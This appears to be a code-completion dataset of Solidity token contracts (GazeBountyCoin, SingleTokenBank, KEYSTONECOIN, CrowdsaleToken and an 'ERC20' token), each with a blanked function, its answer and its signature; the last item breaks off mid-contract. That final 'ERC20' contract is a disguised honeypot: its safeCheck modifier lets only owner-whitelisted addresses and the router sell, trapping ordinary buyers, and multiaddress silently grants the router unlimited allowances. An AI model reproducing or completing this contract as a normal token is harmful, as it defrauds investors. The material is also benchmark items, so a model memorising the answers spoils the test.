_newAdmin; TransferAdminship(admin); } <FILL_FUNCTION> //All admin actions have a log for public review event AllowedSet(address _to); event SetTransferLock(bool _set); event TransferAdminship(address newAdminister); event Admined(address administer); }
//Only the admin can set unlock on transfers require(lockTransfer == true); lockTransfer = false; SetTransferLock(lockTransfer);
function setTransferLockFree() onlyAdmin public
/** * @dev Function to set transfer lock */ function setTransferLockFree() onlyAdmin public
31,096
GazeBountyCoin
seal
contract GazeBountyCoin is ERC20Interface, Administered { using SafeMath for uint; // ------------------------------------------------------------------------ // Token parameters // ------------------------------------------------------------------------ string public constant symbol = "GBC"; string public constant name = "Gaze Bounty Coin"; uint8 public constant decimals = 18; uint public totalSupply = 0; // ------------------------------------------------------------------------ // Administrators can mint until sealed // ------------------------------------------------------------------------ bool public sealed; // ------------------------------------------------------------------------ // Balances for each account // ------------------------------------------------------------------------ mapping(address => uint) balances; // ------------------------------------------------------------------------ // Owner of account approves the transfer of an amount to another account // ------------------------------------------------------------------------ mapping(address => mapping (address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function GazeBountyCoin() Owned() { } // ------------------------------------------------------------------------ // Get the account balance of another account with address _account // ------------------------------------------------------------------------ function balanceOf(address _account) constant returns (uint balance) { return balances[_account]; } // ------------------------------------------------------------------------ // Transfer the balance from owner's account to another account // ------------------------------------------------------------------------ function transfer(address _to, uint _amount) returns (bool success) { if (balances[msg.sender] >= _amount // User has balance && _amount > 0 // Non-zero transfer && balances[_to] + _amount > balances[_to] // Overflow check ) { balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } else { return false; } } // ------------------------------------------------------------------------ // Allow _spender to withdraw from your account, multiple times, up to the // _value amount. If this function is called again it overwrites the // current allowance with _value. // ------------------------------------------------------------------------ function approve( address _spender, uint _amount ) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } // ------------------------------------------------------------------------ // Spender of tokens transfer an amount of tokens from the token owner's // balance to another account. The owner of the tokens must already // have approve(...)-d this transfer // ------------------------------------------------------------------------ function transferFrom( address _from, address _to, uint _amount ) returns (bool success) { if (balances[_from] >= _amount // From a/c has balance && allowed[_from][msg.sender] >= _amount // Transfer approved && _amount > 0 // Non-zero transfer && balances[_to] + _amount > balances[_to] // Overflow check ) { balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } else { return false; } } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance( address _owner, address _spender ) constant returns (uint remaining) { return allowed[_owner][_spender]; } // ------------------------------------------------------------------------ // After sealing, no more minting is possible // ------------------------------------------------------------------------ function seal() onlyOwner {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Mint coins for a single account // ------------------------------------------------------------------------ function mint(address _to, uint _amount) onlyAdministrator { require(!sealed); require(_to != 0x0); require(_amount != 0); balances[_to] = balances[_to].add(_amount); totalSupply = totalSupply.add(_amount); Transfer(0x0, _to, _amount); } // ------------------------------------------------------------------------ // Mint coins for a multiple accounts // ------------------------------------------------------------------------ function multiMint(address[] _to, uint[] _amount) onlyAdministrator { require(!sealed); require(_to.length != 0); require(_to.length == _amount.length); for (uint i = 0; i < _to.length; i++) { require(_to[i] != 0x0); require(_amount[i] != 0); balances[_to[i]] = balances[_to[i]].add(_amount[i]); totalSupply = totalSupply.add(_amount[i]); Transfer(0x0, _to[i], _amount[i]); } } // ------------------------------------------------------------------------ // Don't accept ethers - no payable modifier // ------------------------------------------------------------------------ function () { } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint amount) onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, amount); } }
contract GazeBountyCoin is ERC20Interface, Administered { using SafeMath for uint; // ------------------------------------------------------------------------ // Token parameters // ------------------------------------------------------------------------ string public constant symbol = "GBC"; string public constant name = "Gaze Bounty Coin"; uint8 public constant decimals = 18; uint public totalSupply = 0; // ------------------------------------------------------------------------ // Administrators can mint until sealed // ------------------------------------------------------------------------ bool public sealed; // ------------------------------------------------------------------------ // Balances for each account // ------------------------------------------------------------------------ mapping(address => uint) balances; // ------------------------------------------------------------------------ // Owner of account approves the transfer of an amount to another account // ------------------------------------------------------------------------ mapping(address => mapping (address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function GazeBountyCoin() Owned() { } // ------------------------------------------------------------------------ // Get the account balance of another account with address _account // ------------------------------------------------------------------------ function balanceOf(address _account) constant returns (uint balance) { return balances[_account]; } // ------------------------------------------------------------------------ // Transfer the balance from owner's account to another account // ------------------------------------------------------------------------ function transfer(address _to, uint _amount) returns (bool success) { if (balances[msg.sender] >= _amount // User has balance && _amount > 0 // Non-zero transfer && balances[_to] + _amount > balances[_to] // Overflow check ) { balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } else { return false; } } // ------------------------------------------------------------------------ // Allow _spender to withdraw from your account, multiple times, up to the // _value amount. If this function is called again it overwrites the // current allowance with _value. // ------------------------------------------------------------------------ function approve( address _spender, uint _amount ) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } // ------------------------------------------------------------------------ // Spender of tokens transfer an amount of tokens from the token owner's // balance to another account. The owner of the tokens must already // have approve(...)-d this transfer // ------------------------------------------------------------------------ function transferFrom( address _from, address _to, uint _amount ) returns (bool success) { if (balances[_from] >= _amount // From a/c has balance && allowed[_from][msg.sender] >= _amount // Transfer approved && _amount > 0 // Non-zero transfer && balances[_to] + _amount > balances[_to] // Overflow check ) { balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } else { return false; } } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance( address _owner, address _spender ) constant returns (uint remaining) { return allowed[_owner][_spender]; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Mint coins for a single account // ------------------------------------------------------------------------ function mint(address _to, uint _amount) onlyAdministrator { require(!sealed); require(_to != 0x0); require(_amount != 0); balances[_to] = balances[_to].add(_amount); totalSupply = totalSupply.add(_amount); Transfer(0x0, _to, _amount); } // ------------------------------------------------------------------------ // Mint coins for a multiple accounts // ------------------------------------------------------------------------ function multiMint(address[] _to, uint[] _amount) onlyAdministrator { require(!sealed); require(_to.length != 0); require(_to.length == _amount.length); for (uint i = 0; i < _to.length; i++) { require(_to[i] != 0x0); require(_amount[i] != 0); balances[_to[i]] = balances[_to[i]].add(_amount[i]); totalSupply = totalSupply.add(_amount[i]); Transfer(0x0, _to[i], _amount[i]); } } // ------------------------------------------------------------------------ // Don't accept ethers - no payable modifier // ------------------------------------------------------------------------ function () { } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint amount) onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, amount); } }
require(!sealed); sealed = true;
function seal() onlyOwner
// ------------------------------------------------------------------------ // After sealing, no more minting is possible // ------------------------------------------------------------------------ function seal() onlyOwner
37,563
SingleTokenBank
setOwnerWithdrawal
contract SingleTokenBank is Owned, Pausable, TimeRelease, Authorized, DSMath { struct Withdrawal { uint256 amount; uint256 timestamp; } ERC20 public token; uint256 public maxWithdrawal = 0; uint256 public maxDeposit = 0; uint256 public totalPlayerBalance; mapping(address => uint256) public balances; mapping(address => Withdrawal) public withdrawals; // informs listeners how many tokens were deposited for a player event Deposit(address _player, uint256 _amount); // informs listeners how many tokens were withdrawn from the player to the receiver address event WithdrawalEvent(address _player, uint256 _amount); // set withdrawal event WithdrawalSet(address _player, uint256 _amount); // balances changed event BalancesChanged(uint256 _totalPlayerBalance); // max withdrawal changed event MaxWithdrawalChange(uint256 _maxWithdrawal); // max withdrawal changed event MaxDepositChange(uint256 _maxDeposit); constructor(address _token, address _authorized, address _owner) public { token = ERC20(_token); owner = _owner; // multisig authorized[_authorized] = true; // your server address authorized[owner] = true; // also multisig } function deposit(uint256 _amount) external pausable { uint256 allowance = token.allowance(msg.sender, address(this)); require(_amount > 0); require(_amount <= allowance); require(_amount <= maxDeposit); require(token.transferFrom(msg.sender, address(this), _amount)); balances[msg.sender] = add(balances[msg.sender], _amount); emit Deposit(msg.sender, allowance); } // change one or many player balances function changeBalances(address[] calldata _player, uint256[] calldata _amount, uint256 _totalPlayerBalance) external pausable isAuthorized { for (uint256 i = 0; i < _player.length; i++) { balances[_player[i]] = _amount[i]; } totalPlayerBalance = _totalPlayerBalance; emit BalancesChanged(_totalPlayerBalance); } /** * returns the current bankroll in tokens with 0 decimals **/ function bankroll() view public returns(uint) { return sub(token.balanceOf(address(this)), totalPlayerBalance); } // set a withdrawal amount for a player function setUserWithdrawal(address _player, uint256 _amount) external pausable isAuthorized { require(_amount <= maxWithdrawal); // check max withdrawal require(add(withdrawals[_player].amount, _amount) <= maxWithdrawal); withdrawals[_player].amount = add(withdrawals[_player].amount, _amount); withdrawals[_player].timestamp = block.timestamp; emit WithdrawalSet(_player, _amount); } // set a withdrawal amount for a player function setOwnerWithdrawal(address _player, uint256 _totalPlayerBalance, uint256 _amount) external pausable isAuthorized {<FILL_FUNCTION_BODY> } function withdraw(uint256 _amount) external pausable { require(_amount <= withdrawals[msg.sender].amount); require(_amount <= maxWithdrawal); require(block.timestamp >= add(withdrawals[msg.sender].timestamp, releaseTime)); balances[msg.sender] = sub(balances[msg.sender], _amount); withdrawals[msg.sender].amount = sub(withdrawals[msg.sender].amount, _amount); require(token.transfer(msg.sender, _amount)); emit WithdrawalEvent(msg.sender, _amount); } function changeMaxDeposit(uint256 _max) external pausable isOwner { maxDeposit = _max; emit MaxDepositChange(_max); } function changeMaxWithdrawal(uint256 _max) external pausable isOwner { maxWithdrawal = _max; emit MaxWithdrawalChange(_max); } function ownerWithdrawalEther(address payable _destination, uint256 _amount) external isOwner { _destination.transfer(_amount); } function ownerWithdrawalTokens(address _destination, uint256 _amount) external isOwner { require(_amount <= withdrawals[msg.sender].amount); require((paused == false && _amount <= bankroll()) // only house winnings || paused == true); // or take entire balance if paused.. require(token.transfer(_destination, _amount)); withdrawals[msg.sender].amount = sub(withdrawals[msg.sender].amount, _amount); emit WithdrawalEvent(address(this), _amount); } }
contract SingleTokenBank is Owned, Pausable, TimeRelease, Authorized, DSMath { struct Withdrawal { uint256 amount; uint256 timestamp; } ERC20 public token; uint256 public maxWithdrawal = 0; uint256 public maxDeposit = 0; uint256 public totalPlayerBalance; mapping(address => uint256) public balances; mapping(address => Withdrawal) public withdrawals; // informs listeners how many tokens were deposited for a player event Deposit(address _player, uint256 _amount); // informs listeners how many tokens were withdrawn from the player to the receiver address event WithdrawalEvent(address _player, uint256 _amount); // set withdrawal event WithdrawalSet(address _player, uint256 _amount); // balances changed event BalancesChanged(uint256 _totalPlayerBalance); // max withdrawal changed event MaxWithdrawalChange(uint256 _maxWithdrawal); // max withdrawal changed event MaxDepositChange(uint256 _maxDeposit); constructor(address _token, address _authorized, address _owner) public { token = ERC20(_token); owner = _owner; // multisig authorized[_authorized] = true; // your server address authorized[owner] = true; // also multisig } function deposit(uint256 _amount) external pausable { uint256 allowance = token.allowance(msg.sender, address(this)); require(_amount > 0); require(_amount <= allowance); require(_amount <= maxDeposit); require(token.transferFrom(msg.sender, address(this), _amount)); balances[msg.sender] = add(balances[msg.sender], _amount); emit Deposit(msg.sender, allowance); } // change one or many player balances function changeBalances(address[] calldata _player, uint256[] calldata _amount, uint256 _totalPlayerBalance) external pausable isAuthorized { for (uint256 i = 0; i < _player.length; i++) { balances[_player[i]] = _amount[i]; } totalPlayerBalance = _totalPlayerBalance; emit BalancesChanged(_totalPlayerBalance); } /** * returns the current bankroll in tokens with 0 decimals **/ function bankroll() view public returns(uint) { return sub(token.balanceOf(address(this)), totalPlayerBalance); } // set a withdrawal amount for a player function setUserWithdrawal(address _player, uint256 _amount) external pausable isAuthorized { require(_amount <= maxWithdrawal); // check max withdrawal require(add(withdrawals[_player].amount, _amount) <= maxWithdrawal); withdrawals[_player].amount = add(withdrawals[_player].amount, _amount); withdrawals[_player].timestamp = block.timestamp; emit WithdrawalSet(_player, _amount); } <FILL_FUNCTION> function withdraw(uint256 _amount) external pausable { require(_amount <= withdrawals[msg.sender].amount); require(_amount <= maxWithdrawal); require(block.timestamp >= add(withdrawals[msg.sender].timestamp, releaseTime)); balances[msg.sender] = sub(balances[msg.sender], _amount); withdrawals[msg.sender].amount = sub(withdrawals[msg.sender].amount, _amount); require(token.transfer(msg.sender, _amount)); emit WithdrawalEvent(msg.sender, _amount); } function changeMaxDeposit(uint256 _max) external pausable isOwner { maxDeposit = _max; emit MaxDepositChange(_max); } function changeMaxWithdrawal(uint256 _max) external pausable isOwner { maxWithdrawal = _max; emit MaxWithdrawalChange(_max); } function ownerWithdrawalEther(address payable _destination, uint256 _amount) external isOwner { _destination.transfer(_amount); } function ownerWithdrawalTokens(address _destination, uint256 _amount) external isOwner { require(_amount <= withdrawals[msg.sender].amount); require((paused == false && _amount <= bankroll()) // only house winnings || paused == true); // or take entire balance if paused.. require(token.transfer(_destination, _amount)); withdrawals[msg.sender].amount = sub(withdrawals[msg.sender].amount, _amount); emit WithdrawalEvent(address(this), _amount); } }
totalPlayerBalance = _totalPlayerBalance; withdrawals[_player].amount = add(withdrawals[_player].amount, _amount); withdrawals[_player].timestamp = block.timestamp; emit BalancesChanged(_amount); emit WithdrawalSet(_player, _amount);
function setOwnerWithdrawal(address _player, uint256 _totalPlayerBalance, uint256 _amount) external pausable isAuthorized
// set a withdrawal amount for a player function setOwnerWithdrawal(address _player, uint256 _totalPlayerBalance, uint256 _amount) external pausable isAuthorized
93,701
KEYSTONECOIN
burnTokens
contract KEYSTONECOIN is ERC20Interface, Owned, SafeMath, Lockable { //string public constant name = "KEYSTONECOIN"; //string public constant symbol = "KSC"; string public constant name = "KEYSTONECOIN"; string public constant symbol = "KSC"; uint8 public constant decimals = 18; uint public constant INITIAL_SUPPLY = 20000000000000000000000000000; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event TokenBurned(address burnAddress, uint amountOfTokens); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { _totalSupply = INITIAL_SUPPLY; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public checkLock returns (bool success) { require( balances[msg.sender] >= tokens ); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public checkLock returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public checkLock returns (bool success) { require( balances[from] >= tokens ); require( allowed[from][msg.sender] >= tokens ); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } // burnToken burn tokensAmount for sender balance function burnTokens(uint tokensAmount) external isOwner {<FILL_FUNCTION_BODY> } }
contract KEYSTONECOIN is ERC20Interface, Owned, SafeMath, Lockable { //string public constant name = "KEYSTONECOIN"; //string public constant symbol = "KSC"; string public constant name = "KEYSTONECOIN"; string public constant symbol = "KSC"; uint8 public constant decimals = 18; uint public constant INITIAL_SUPPLY = 20000000000000000000000000000; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event TokenBurned(address burnAddress, uint amountOfTokens); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { _totalSupply = INITIAL_SUPPLY; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public checkLock returns (bool success) { require( balances[msg.sender] >= tokens ); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public checkLock returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public checkLock returns (bool success) { require( balances[from] >= tokens ); require( allowed[from][msg.sender] >= tokens ); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } <FILL_FUNCTION> }
require( balances[msg.sender] >= tokensAmount ); balances[msg.sender] = safeSub(balances[msg.sender], tokensAmount); _totalSupply = safeSub(_totalSupply, tokensAmount); emit TokenBurned(msg.sender, tokensAmount);
function burnTokens(uint tokensAmount) external isOwner
// burnToken burn tokensAmount for sender balance function burnTokens(uint tokensAmount) external isOwner
1,875
CrowdsaleToken
CrowdsaleToken
contract CrowdsaleToken is ReleasableToken, UpgradeableToken { /** Name and symbol were updated. */ event UpdatedTokenInformation(string newName, string newSymbol); string public name; string public symbol; uint8 public decimals; /** * Construct the token. * * This token must be created through a team multisig wallet, so that it is owned by that wallet. * * @param _name Token name * @param _symbol Token symbol - should be all caps * @param _initialSupply How many tokens we start with * @param _decimals Number of decimal places */ function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint8 _decimals) UpgradeableToken(msg.sender) public {<FILL_FUNCTION_BODY> } /** * When token is released to be transferable, enforce no new tokens can be created. */ function releaseTokenTransfer() public onlyReleaseAgent { super.releaseTokenTransfer(); } /** * Allow upgrade agent functionality kick in only if the crowdsale was success. */ function canUpgrade() public constant returns(bool) { return released && super.canUpgrade(); } /** * Owner can update token information here. * * It is often useful to conceal the actual token association, until * the token operations, like central issuance or reissuance have been completed. * * This function allows the token owner to rename the token after the operations * have been completed and then point the audience to use the token contract. */ function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } }
contract CrowdsaleToken is ReleasableToken, UpgradeableToken { /** Name and symbol were updated. */ event UpdatedTokenInformation(string newName, string newSymbol); string public name; string public symbol; uint8 public decimals; <FILL_FUNCTION> /** * When token is released to be transferable, enforce no new tokens can be created. */ function releaseTokenTransfer() public onlyReleaseAgent { super.releaseTokenTransfer(); } /** * Allow upgrade agent functionality kick in only if the crowdsale was success. */ function canUpgrade() public constant returns(bool) { return released && super.canUpgrade(); } /** * Owner can update token information here. * * It is often useful to conceal the actual token association, until * the token operations, like central issuance or reissuance have been completed. * * This function allows the token owner to rename the token after the operations * have been completed and then point the audience to use the token contract. */ function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } }
// Create any address, can be transferred // to team multisig via changeOwner(), // also remember to call setUpgradeMaster() owner = msg.sender; name = _name; symbol = _symbol; totalSupply_ = _initialSupply; decimals = _decimals; // Create initially all balance on the team multisig balances[owner] = totalSupply_;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint8 _decimals) UpgradeableToken(msg.sender) public
/** * Construct the token. * * This token must be created through a team multisig wallet, so that it is owned by that wallet. * * @param _name Token name * @param _symbol Token symbol - should be all caps * @param _initialSupply How many tokens we start with * @param _decimals Number of decimal places */ function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint8 _decimals) UpgradeableToken(msg.sender) public
71,202
ERC20
ints
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public {<FILL_FUNCTION_BODY> } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_BTCST(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } <FILL_FUNCTION> function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, 